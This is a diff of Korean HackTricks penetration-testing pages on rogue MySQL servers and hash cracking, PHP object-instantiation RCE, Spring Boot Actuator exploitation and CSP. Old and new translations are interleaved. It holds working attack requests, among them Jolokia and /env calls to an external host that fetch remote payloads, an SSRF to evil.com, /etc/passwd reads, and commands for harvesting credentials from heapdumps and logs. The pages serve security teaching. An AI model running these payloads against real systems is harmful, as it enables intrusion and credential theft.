그런 다음 피해자 애플리케이션을 `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`지정하고, 파일 이름을 base64로 인코딩하여 *사용자 이름* 필드에 넣어 `/etc/passwd`를 읽습니다 (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
그런 다음 피해자 애플리케이션을 `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`가리키고, *username* 필드에 파일명을 base64로 인코딩하여 `/etc/passwd`를 읽습니다 (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### `caching_sha2_password` 해시 크래킹
MySQL ≥ 8.0은 비밀번호 해시를 **`$mysql-sha2$`** (SHA-256) 형식으로 저장합니다. Hashcat (mode **21100**)와 John-the-Ripper (`--format=mysql-sha2`)는 2023년부터 offline cracking을 지원합니다. `authentication_string` 컬럼을 덤프해서 그대로 입력하세요:
MySQL ≥ 8.0은 비밀번호 해시를 **`$mysql-sha2$`** (SHA-256) 형식으로 저장합니다. Hashcat(모드 **21100**)과 John-the-Ripper (`--format=mysql-sha2`)는 2023년부터 오프라인 크래킹을 지원합니다. `authentication_string` 열을 덤프하여 바로 입력하세요:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -695,16 +689,16 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### 강화 체크리스트 (2025)
• 대부분의 파일 읽기/쓰기 기본 동작을 차단하려면 **`LOCAL_INFILE=0`** 및 **`--secure-file-priv=/var/empty`**를 설정하세요.
• 애플리케이션 계정에서 **`FILE`** 권한을 제거하세요.
• Connector/J에서는 `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (빈값)로 설정하세요.
• 사용하지 않는 인증 플러그인을 비활성화하고 **TLS를 필수화**하세요 (`require_secure_transport = ON`).
`CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` 및 갑작스러운 `SET GLOBAL` 명령을 모니터링하세요.
### 하드닝 체크리스트 (2025)
• 대부분의 파일 읽기/쓰기 원시 기능을 차단하려면 **`LOCAL_INFILE=0`** 및 **`--secure-file-priv=/var/empty`** 를 설정하세요.
• 애플리케이션 계정에서 **`FILE`** 권한을 제거하세요.
• Connector/J에서는 `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (빈 값)을 설정하세요.
• 사용하지 않는 인증 플러그인을 비활성화하고 **require TLS**를 적용하세요 (`require_secure_transport = ON`).
`CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` 및 갑작스러운 `SET GLOBAL` 명령을 모니터링하세요.
---
## 참고
## 참고 자료
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)

View File

@ -1,18 +1,18 @@
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
# PHP - RCE를 악용한 객체 생성: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
이는 기본적으로 [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)의 요약입니다.
문서는 기본적으로 [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)의 요약입니다.
## 소개
예를 들어 `new $_GET["a"]($_GET["a"])` 같은 임의 객체 생성은 Remote Code Execution (RCE)로 이어질 수 있으며, 자세한 내용은 [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 설명되어 있습니다. 이 문서는 RCE를 달성하기 위한 다양한 전략을 강조합니다.
예를 들어 `new $_GET["a"]($_GET["a"])` 같은 임의 객체 생성은 Remote Code Execution (RCE)로 이어질 수 있으며, 자세한 내용은 [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 나와 있습니다. 이 문서는 RCE를 달성하기 위한 다양한 전략을 강조합니다.
## RCE via Custom Classes or Autoloading
## 커스텀 클래스 또는 Autoloading을 통한 RCE
문법 `new $a($b)` 는 객체를 인스턴스화하는 데 사용되며, **`$a`** 는 클래스 이름을 나타내고 **`$b`** 는 생성자에 전달되는 첫 번째 인수입니다. 이러한 변수들은 GET/POST와 같은 사용자 입력에서 가져올 수 있으며, 문자열이나 배열일 수 있고, JSON에서는 다른 타입으로 나타날 수 있습니다.
문법 `new $a($b)`는 객체를 인스턴스화하는 데 사용되며, **`$a`**는 클래스 이름을 나타내고 **`$b`**는 생성자에 전달되는 첫 번째 인수입니다. 이러한 변수들은 GET/POST 같은 사용자 입력에서 유래할 수 있으며, 문자열이나 배열일 수 있고, JSON에서는 다른 타입으로 나타날 수 있습니다.
아래 코드 스니펫을 살펴보자:
아래 코드 스니펫을 고려해 보자:
```php
class App {
function __construct ($cmd) {
@ -33,7 +33,7 @@ new $a($b);
```
이 경우 `$a``App` 또는 `App2`로 설정하고 `$b`를 시스템 명령(예: `uname -a`)으로 설정하면 해당 명령이 실행됩니다.
**Autoloading functions**는 그러한 클래스들에 직접 접근할 수 없을 때 악용될 수 있습니다. 이 함수들은 필요할 때 파일에서 클래스를 자동으로 로드하며 `spl_autoload_register` 또는 `__autoload`를 사용하여 정의됩니다:
**Autoloading functions**는 해당 클래스에 직접 접근할 수 없는 경우 악용될 수 있습니다. 이 함수들은 필요할 때 파일에서 클래스를 자동으로 로드하며 `spl_autoload_register` 또는 `__autoload` 정의됩니다:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,72 +45,72 @@ include $class_name . '.php';
spl_autoload_register();
```
오토로딩의 동작은 PHP 버전별로 달라 RCE 가능성이 달라진다.
오토로딩의 동작은 PHP 버전에 따라 달라져 다양한 RCE 가능성을 제공한다.
## RCE via 내장 클래스
커스텀 클래스나 오토로더가 없을 경우, **내장 PHP 클래스**만으로도 RCE에 충분할 수 있다. 이 클래스들의 수는 PHP 버전과 확장에 따라 대략 100에서 200개 사이이다. `get_declared_classes()`로 목록을 확인할 수 있다.
커스텀 클래스나 오토로더가 없을 때는 **내장 PHP 클래스**만으로도 RCE가 가능할 수 있다. 이러한 클래스의 수는 PHP 버전과 확장에 따라 대략 100~200개 사이이며, `get_declared_classes()`로 나열할 수 있다.
관심 있는 생성자는 리플렉션 API로 식별할 수 있으며, 다음 예제와 링크 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)에서 확인할 수 있다.
관심 있는 생성자들은 리플렉션 API를 통해 식별할 수 있다. 예시와 자세한 내용은 다음 예제 및 링크 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)를 참조하면 된다.
**RCE via 특정 메서드에는 다음이 포함된다:**
**RCE via 특정 메서드를 통한 사례에는 다음이 포함된다:**
### **SSRF + Phar Deserialization**
`SplFileObject` 클래스는 생성자를 통해 SSRF를 유발할 수 있으며, 임의의 URL로의 연결을 허용한다:
`SplFileObject` 클래스는 생성자를 통해 SSRF를 가능하게 하며, 임의의 URL에 연결할 수 있다:
```php
new SplFileObject('http://attacker.com/');
```
SSRF는 Phar 프로토콜을 사용하여 PHP 8.0 이전 버전에서 deserialization 공격으로 이어질 수 있습니다.
### **PDOs 악용**
### **Exploiting PDOs**
PDO 클래스 생성자는 DSN 문자열을 통해 데이터베이스에 연결할 수 있게 해주며, 잠재적으로 파일 생성이나 기타 상호작용을 가능하게 합니다:
PDO 클래스 생성자는 DSN 문자열을 통해 데이터베이스에 연결할 수 있게 하며, 잠재적으로 파일 생성이나 기타 상호작용을 가능하게 할 수 있습니다:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
libxml2 버전에 따라, PHP 5.3.22 및 5.4.12까지의 버전은 `SoapClient``SimpleXMLElement` 생성자를 통 XXE 공격에 취약했습니다.
libxml2 버전에 따라, PHP 5.3.22 및 5.4.12까지의 버전은 `SoapClient``SimpleXMLElement` 생성자를 통 XXE 공격에 취약했습니다.
## Imagick Extension을 통한 RCE
## RCE via Imagick Extension
프로젝트의 **의존성** 분석에서, 새로운 객체를 인스턴스화함으로써 **Imagick**이 **command execution**에 활용될 수 있음이 발견되었습니다. 이는 취약점 악용의 기회를 제공합니다.
프로젝트의 의존성 분석에서, **Imagick**이 새로운 객체를 인스턴스화함으로써 **command execution**에 이용될 수 있음이 발견되었습니다. 이는 취약점 악용의 기회를 제공합니다.
### VID parser
VID parser가 파일시스템의 임의 경로에 콘텐츠를 쓸 수 있는 기능이 확인되었습니다. 이는 웹에서 접근 가능한 디렉터리에 PHP 쉘을 배치하여 Remote Code Execution (RCE)을 달성할 수 있음을 의미합니다.
VID parser가 파일시스템의 임의 경로에 콘텐츠를 쓸 수 있는 기능을 가지고 있음이 확인되었습니다. 이는 웹에서 접근 가능한 디렉터리에 PHP 쉘을 배치하여 Remote Code Execution (RCE)을 달성할 수 있음을 의미합니다.
#### VID Parser + File Upload
PHP가 업로드된 파일을 일시적으로 `/tmp/phpXXXXXX`에 저장한다는 점을 이용할 수 있습니다. Imagick의 VID parser는 **msl** 프로토콜을 사용하여 파일 경로의 와일드카드를 처리할 수 있어, 임시 파일을 원하는 위치로 전송하는 것이 가능합니다. 이 방법은 파일시스템 내에서 임의 파일 쓰기를 달성하는 또 다른 방식을 제공합니다.
PHP가 업로드된 파일을 `/tmp/phpXXXXXX`에 임시 저장한다는 점을 주목하세요. Imagick의 VID parser는 **msl** 프로토콜을 이용해 파일 경로의 와일드카드를 처리할 수 있어, 임시 파일을 특정 위치로 옮기는 것이 가능합니다. 이 방법은 파일시스템 내에서 임의 파일 쓰기를 달성할 수 있는 또 다른 수단을 제공합니다.
### PHP Crash + Brute Force
[**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 설명된 방법은 삭제되기 전에 서버 크래시를 유발하는 파일을 업로드하는 것을 포함합니다. 임시 파일 이름을 무차별 대입으로 찾으면 Imagick이 임의의 PHP 코드를 실행할 수 있게 됩니다. 다만 이 기법은 오래된 버전의 ImageMagick에서만 효과적이었던 것으로 확인되었습니다.
[**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 설명된 방법은 삭제되기 전에 서버 크래시를 유발하는 파일을 업로드하는 것을 포함합니다. 임시 파일의 이름을 brute-forcing하면 Imagick이 임의의 PHP 코드를 실행할 수 있게 됩니다. 다만 이 기법은 구버전의 ImageMagick에서만 효과적인 것으로 확인되었습니다.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
사용자 입력이 클래스 이름을 제어할 때(예: `new $_GET['model']()`), PHP 7.0.0에서는 `Throwable` 리팩토링 중 일시적인 버그가 발생하여 엔진이 클래스 이름을 해석하는 과정에서 이를 printf 형식 문자열로 잘못 처리했습니다. 이로 인해 PHP 내에서 고전적인 printf 스타일의 원시 기능들을 활용할 수 있게 되었는데, 예컨대 `%p`로 leak하거나, 너비 지정자로 쓰기 횟수를 제어하고, `%n`으로 프로세스 내 포인터(예: ELF 빌드의 GOT 엔트리)에 임의 쓰기를 수행할 수 있습니다.
사용자 입력이 클래스 이름을 제어할 때(예: `new $_GET['model']()`), PHP 7.0.0`Throwable` 리팩터링 과정에서 일시적인 버그를 도입했습니다. 이 버그로 인해 엔진이 클래스 이름을 해석할 때 이를 printf 형식 문자열로 잘못 취급했습니다. 이는 PHP 내부에서 classic printf-style primitives를 가능하게 하여, `%p`를 통한 leaks, 폭(width) 지정자를 이용한 write-count 제어, 그리고 `%n`을 이용한 프로세스 내부 포인터(예: ELF 빌드의 GOT 엔트리)에 대한 arbitrary writes를 허용합니다.
최소 재현 취약 패턴:
Minimal repro vulnerable pattern:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
공격 개요 (참고 출처):
- Leak 주소를 클래스 이름의 `%p`로 노출시켜 쓰기 가능한 타깃을 찾음:
Exploitation outline (from the reference):
- 클래스 이름의 `%p`를 통해 주소를 leak하여 쓰기 가능한 대상(writable target)을 찾음:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- 위치 매개변수(positional parameters)와 너비 지정자(width specifiers)를 사용해 정확한 바이트 수를 설정한 다음 `%n`으로 그 값을 스택에서 접근 가능한 주소에 씁니다. 목적은 GOT 슬롯(예: `free`)을 겨냥해 부분적으로 덮어써 `system`으로 연결하는 것입니다.
- 쉘 파이프가 포함된 클래스 이름을 전달하여 하이재킹된 함수(hijacked function)를 트리거해 `system("id")`에 도달시킵니다.
- 정확한 바이트 수를 설정하기 위해 positional parameters와 width specifiers를 사용한 다음, `%n`을 사용해 스택에서 접근 가능한 주소에 그 값을 기록한다. 목표는 GOT 슬롯(예: `free`)을 겨냥해 부분적으로 `system`으로 덮어쓰는 것이다.
- 셸 파이프를 포함한 클래스 이름을 전달해 하이재킹된 함수를 트리거하여 `system("id")`를 호출한다.
참고:
- PHP 7.0.0에서만 동작(버그 [#71105](https://bugs.php.net/bug.php?id=71105)); 이후 릴리스에서 수정됨. 임의의 클래스 인스턴스화가 가능한 경우 심각도: 치명적.
- 일반적인 페이로드는 스택을 탐색하기 위해 많은 `%p`를 연쇄하고, 그 다음 `%.<width>d%<pos>$n`으로 부분 덮어쓰기를 수행합니다.
Notes:
- PHP 7.0.0에서만 동작함(Bug [#71105](https://bugs.php.net/bug.php?id=71105)); 이후 릴리스에서 수정됨. Severity: critical if arbitrary class instantiation exists.
- 일반적인 페이로드는 여러 `%p`를 연속적으로 사용해 스택을 탐색한 다음, `%.<width>d%<pos>$n`으로 부분 덮어쓰기를 수행한다.
## References

View File

@ -6,30 +6,30 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**출처** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Spring Boot Actuators 악용
## Exploiting Spring Boot Actuators
**원본 게시물 확인:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**원문 게시물:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **핵심 요:**
### **핵심 요:**
- Spring Boot Actuators는 `/health`, `/trace`, `/beans`, `/env` 등과 같은 엔드포인트를 등록합니다. 버전 1 ~ 1.4에서는 이러한 엔드포인트가 인증 없이 접근 가능했습니다. 1.5 이상부터는 기본적으로 `/health``/info`민감으로 설정되지만, 개발자들이 종종 이 보안을 비활성화합니다.
- 특정 Actuator 엔드포인트는 민감한 데이터를 노출하거나 위험한 동작을 허용할 수 있습니다:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, `/heapdump`.
- Spring Boot 1.x에서는 actuator가 루트 URL 아래에 등록되는 반면, 2.x에서는 `/actuator/` 베이스 경로 아래에 있습니다.
- Spring Boot Actuators는 `/health`, `/trace`, `/beans`, `/env` 등과 같은 엔드포인트를 등록합니다. 버전 1~1.4에서는 이러한 엔드포인트가 인증 없이 접근 가능했습니다. 1.5부터는 기본적으로 `/health``/info`만 민감하지 않은 것으로 설정되지만, 개발자들이 이 보안을 종종 비활성화합니다.
- 일부 Actuator 엔드포인트는 민감한 데이터를 노출하거나 유해한 동작을 허용할 수 있습니다:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
- Spring Boot 1.x에서는 actuator가 루트 URL에 등록되며, 2.x에서는 `/actuator/` 베이스 경로 아래에 등록됩니다.
### **공격 기법:**
1. **Remote Code Execution via '/jolokia'**:
- `/jolokia` actuator 엔드포인트는 Jolokia Library를 노출하며, 이를 통해 MBeans에 HTTP로 접근할 수 있습니다.
- `reloadByURL` 액션은 외부 URL에서 로깅 구성을 재로드하도록 악용될 수 있으며, 조작된 XML 구성으로 blind XXE 또는 Remote Code Execution으로 이어질 수 있습니다.
- 예제 익스플로잇 URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
- The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
- The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- Spring Cloud Libraries가 존재하는 경우, `/env` 엔드포인트를 통해 환경 속성(environmental properties)을 수정할 수 있습니다.
- 속성들을 조작하여 Eureka의 serviceURL 같은 곳의 XStream deserialization 취약점 등 여러 취약점을 악용할 수 있습니다.
- 예제 exploit POST 요청:
- If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties.
- Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
- Example exploit POST request:
```
POST /env HTTP/1.1
@ -40,22 +40,22 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Other Useful Settings**:
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, 및 `spring.datasource.tomcat.max-active` 같은 속성들은 SQL 인젝션이나 데이터베이스 연결 문자열 변경 등 다양한 익스플로잇에 활용될 수 있습니다.
3. **기타 유용한 설정**:
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, 및 `spring.datasource.tomcat.max-active` 같은 속성은 SQL injection이나 데이터베이스 연결 문자열 변경 등 다양한 익스플로잇에 악용될 수 있습니다.
### **추가 정보:**
- 기본 actuator 목록 전체는 [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)에서 확인할 수 있습니다.
- Spring Boot 2.x의 `/env` 엔드포인트는 속성 수정을 위해 JSON 포맷을 사용하지만, 기본 개념은 동일합니다.
- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Spring Boot 2.x의 `/env` 엔드포인트는 속성 수정을 위해 JSON 형식을 사용하지만, 기본 개념은 동일합니다.
### **관련 주제:**
1. **Env + H2 RCE**:
- `/env` 엔드포인트와 H2 데이터베이스의 조합을 이용한 익스플로잇에 대한 세부 정보는 [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)에서 확인할 수 있습니다.
- `/env` 엔드포인트와 H2 데이터베이스의 조합을 이용한 익스플로잇에 대한 자세한 내용은 [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)에서 확인할 수 있습니다.
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- HTTP 경로명에서의 matrix parameter(`;`) 처리 방식의 오작동은 SSRF를 유발할 수 있습니다.
- 예제 익스플로잇 요청:
2. **경로 이름 해석 오류를 통한 Spring Boot SSRF**:
- HTTP 경로명에서 matrix parameters (`;`)를 처리하는 Spring 프레임워크의 방식은 Server-Side Request Forgery (SSRF)에 악용될 수 있습니다.
- Example exploit request:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
@ -63,7 +63,7 @@ Connection: close
```
## HeapDump secrets mining (credentials, tokens, internal URLs)
If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
만약 `/actuator/heapdump`가 노출되어 있다면, 보통 DB 자격증명, API 키, Basic-Auth, 내부 서비스 URL, Spring 프로퍼티 맵 등과 같은 실시간 비밀을 포함한 전체 JVM 힙 스냅샷을 가져올 수 있습니다.
- Download and quick triage:
```bash
@ -92,13 +92,13 @@ Typical high-value findings:
- Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory.
팁:
- Actuator 엔드포인트를 빠르게 찾으려면 Spring 중심의 워드리스트를 사용하세요 (예: SecLists spring-boot.txt). 또한 `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, `/actuator/configprops` 등이 노출되어 있는지 항상 확인합니다.
- heapdump에서 얻은 Credentials는 인접한 서비스나 때로는 시스템 사용자(SSH)에도 통하는 경우가 많으니 광범위하게 시도해 보세요.
- SecLists의 spring-boot.txt와 같이 Spring에 초점을 맞춘 워드리스트를 사용해 actuator 엔드포인트를 빠르게 찾아보세요. 또한 `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, `/actuator/configprops`도 노출되어 있는지 항상 확인하세요.
- heapdump에서 얻은 자격증명은 인접한 서비스나 때로는 시스템 사용자(SSH)에도 유효한 경우가 많으므로 폭넓게 시도해 보세요.
## Abusing Actuator loggers/logging to capture credentials
If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).
만약 `management.endpoints.web.exposure.include`가 허용하고 `/actuator/loggers`가 노출되어 있다면, 인증과 요청 처리를 담당하는 패키지들의 로그 레벨을 동적으로 DEBUG/TRACE로 올릴 수 있습니다. `/actuator/logfile`이나 알려진 로그 경로를 통해 로그를 읽을 수 있는 상태와 결합하면 로그인 흐름 중 제출된 자격증명(예: Basic-Auth 헤더나 폼 파라미터)이 노출되어 leak될 수 있습니다.
- Enumerate and crank up sensitive loggers:
```bash
@ -123,11 +123,11 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.
- 로그인/인증 트래픽을 유발시키고 로그에서 자격증명을 파싱하세요. Gateway가 인증 앞단을 담당하는 마이크로서비스 환경에서는 gateway/security 패키지에 대해 TRACE를 활성화하면 헤더와 폼 바디가 노출되는 경우가 많습니다. 일부 환경은 주기적으로 합성 로그인 트래픽을 생성하기도 하므로, 로그를 자세하게 설정하면 수집이 매우 쉬워집니다.
노트:
- 작업이 끝나면 로그 레벨을 리셋하세요: `POST /actuator/loggers/<logger>` `{ "configuredLevel": null }` 전송합니다.
- `/actuator/httpexchanges`가 노출되어 있으면 최근 요청 메타데이터가 노출되어 민감한 헤더를 포함할 수 있습니다.
- 끝난 후 로그 레벨을 초기화하세요: `POST /actuator/loggers/<logger>``{ "configuredLevel": null }` 전송.
- `/actuator/httpexchanges`가 노출되어 있다면 민감한 헤더를 포함할 수 있는 최근 요청 메타데이터도 확인할 수 있습니다.
## References

View File

@ -4,28 +4,28 @@
## CSP란 무엇인가
Content Security Policy (CSP)은 브라우저 기술로, 주로 **cross-site scripting (XSS)와 같은 공격으로부터 보호**하는 것을 목적으로 합니다. 브라우저가 안전하게 로드할 수 있는 리소스의 출처와 경로를 정의하고 명시함으로써 동작합니다. 이러한 리소스에는 이미지, 프레임, JavaScript 등 다양한 요소가 포함됩니다. 예를 들어, 정책은 동일 도메인(self)에서의 리소스 로드 및 실행, 인라인 리소스와 `eval`, `setTimeout`, `setInterval` 같은 함수로 문자열 코드를 실행하는 것을 허용할 수 있습니다.
Content Security Policy (CSP)은 주로 **cross-site scripting (XSS)와 같은 공격으로부터 방어하기 위한** 브라우저 기술로 알려져 있습니다. 브라우저가 안전하게 로드할 수 있는 경로와 출처를 정의하고 명시함으로써 동작합니다. 이러한 리소스에는 이미지, 프레임, JavaScript 등 다양한 요소가 포함됩니다. 예를 들어, 정책은 같은 도메인 (self)으로부터의 리소스 로드 및 실행을 허용할 수 있으며, 인라인 리소스와 `eval`, `setTimeout`, `setInterval` 같은 함수로 문자열 코드를 실행하는 것을 포함할 수 있습니다.
CSP는 **response headers**를 통해 구현되거나, HTML 페이지에 **meta 요소**를 포함하여 적용될 수 있습니다. 브라우저는 이 정책을 준수하며 규정을 적극적으로 적용하고, 위반이 감지되면 즉시 차단합니다.
CSP는 **응답 헤더(response headers)**를 통해 구현되거나 HTML 페이지에 **meta 요소**를 삽입하는 방식으로 적용됩니다. 브라우저는 이 정책을 기반으로 규정을 강제하며, 위반이 감지되면 즉시 차단합니다.
- Implemented via response header:
- 응답 헤더를 통해 구현:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- meta 태그를 통해 구현됨:
- meta tag로 구현됨:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### 헤더
### Headers
다음 헤더를 사용해 CSP를 적용하거나 모니터링할 수 있습니다:
CSP는 다음 헤더로 강제하거나 모니터링할 수 있습니다:
- `Content-Security-Policy`: CSP를 적용하며, 브라우저가 모든 위반을 차단합니다.
- `Content-Security-Policy-Report-Only`: 모니터링용으로 사용되며, 위반을 차단하지 않고 보고합니다. 사전 운영 환경에서 테스트할 때 적합합니다.
- `Content-Security-Policy`: CSP를 강제합니다; 브라우저가 위반을 차단합니다.
- `Content-Security-Policy-Report-Only`: 모니터링용으로 사용되며, 위반을 차단하지 않고 보고만 합니다. 프로덕션 이전 환경에서 테스트할 때 이상적입니다.
### 리소스 정의
### Defining Resources
CSP는 액티브 및 패시브 콘텐츠의 로드 출처(origin)를 제한하며, inline JavaScript execution 및 `eval()` 사용과 같은 동작을 제어합니다. 예시 정책은 다음과 같습니다:
CSP는 액티브 및 패시브 콘텐츠 로딩의 출처를 제한하여 inline JavaScript 실행과 `eval()` 사용 같은 항목을 제어합니다. 예제 정책은:
```bash
default-src 'none';
img-src 'self';
@ -37,44 +37,44 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### 디렉티브
### 지시자
- **script-src**: JavaScript에 대한 특정 출처를 허용합니다(예: URL, 인라인 스크립트, 이벤트 핸들러나 XSLT 스타일시트로 실행되는 스크립트 포함).
- **default-src**: 특정 fetch 디렉티브가 없을 때 리소스 페칭에 대한 기본 정책을 설정합니다.
- **child-src**: web worker와 임베디드 프레임 콘텐츠에 허용되는 리소스를 지정합니다.
- **script-src**: JavaScript에 대해 특정 소스(예: URLs, 인라인 script, 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거되는 스크립트 등)를 허용합니다.
- **default-src**: 특정 fetch 지시자가 없을 때 리소스 가져오기에 대한 기본 정책을 설정합니다.
- **child-src**: web workers와 임베디드 프레임 콘텐츠에 허용되는 리소스를 지정합니다.
- **connect-src**: fetch, WebSocket, XMLHttpRequest 같은 인터페이스로 로드할 수 있는 URL을 제한합니다.
- **frame-src**: 프레임에 대한 URL을 제한합니다.
- **frame-ancestors**: 현재 페이지를 임베드할 수 있는 출처를 지정합니다(`<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>` 요소에 적용).
- **img-src**: 이미지에 허용되는 출처를 정의합니다.
- **frame-ancestors**: 현재 페이지를 임베드할 수 있는 출처를 지정합니다(예: <frame>, <iframe>, <object>, <embed>, <applet>).
- **img-src**: 이미지에 대해 허용되는 출처를 정의합니다.
- **font-src**: `@font-face`로 로드되는 폰트의 유효한 출처를 지정합니다.
- **manifest-src**: 애플리케이션 manifest 파일의 허용 출처를 정의합니다.
- **media-src**: 미디어 객체를 로드할 때 허용되는 출처를 정의합니다.
- **object-src**: `<object>`, `<embed>`, `<applet>` 요소에 허용되는 출처를 정의합니다.
- **base-uri**: `<base>` 요소를 사용하여 로드할 때 허용되는 URL을 지정합니다.
- **form-action**: 폼 제출에 유효한 엔드포인트를 나열합니다.
- **object-src**: `<object>`, `<embed>`, `<applet>` 요소에 대해 허용되는 출처를 정의합니다.
- **base-uri**: `<base>` 요소를 통해 로드할 수 있는 허용 URL을 지정합니다.
- **form-action**: 폼 제출에 대한 유효한 엔드포인트를 나열합니다.
- **plugin-types**: 페이지가 호출할 수 있는 mime 타입을 제한합니다.
- **upgrade-insecure-requests**: 브라우저 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
- **upgrade-insecure-requests**: 브라우저에게 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
- **sandbox**: `<iframe>`의 sandbox 속성과 유사한 제한을 적용합니다.
- **report-to**: 정책 위반 시 보고서를 보낼 그룹을 지정합니다.
- **worker-src**: Worker, SharedWorker, 또는 ServiceWorker 스크립트 유효한 출처를 지정합니다.
- **prefetch-src**: 페치되거나 프리페치될 리소스의 유효한 출처를 지정합니다.
- **navigate-to**: 문서가 어떤 수단(a, form, window.location, window.open 등)을 통해 이동할 수 있는 URL을 제한합니다.
- **report-to**: 정책이 위반될 경우 리포트를 보낼 그룹을 지정합니다.
- **worker-src**: Worker, SharedWorker, 또는 ServiceWorker 스크립트에 대한 유효한 출처를 지정합니다.
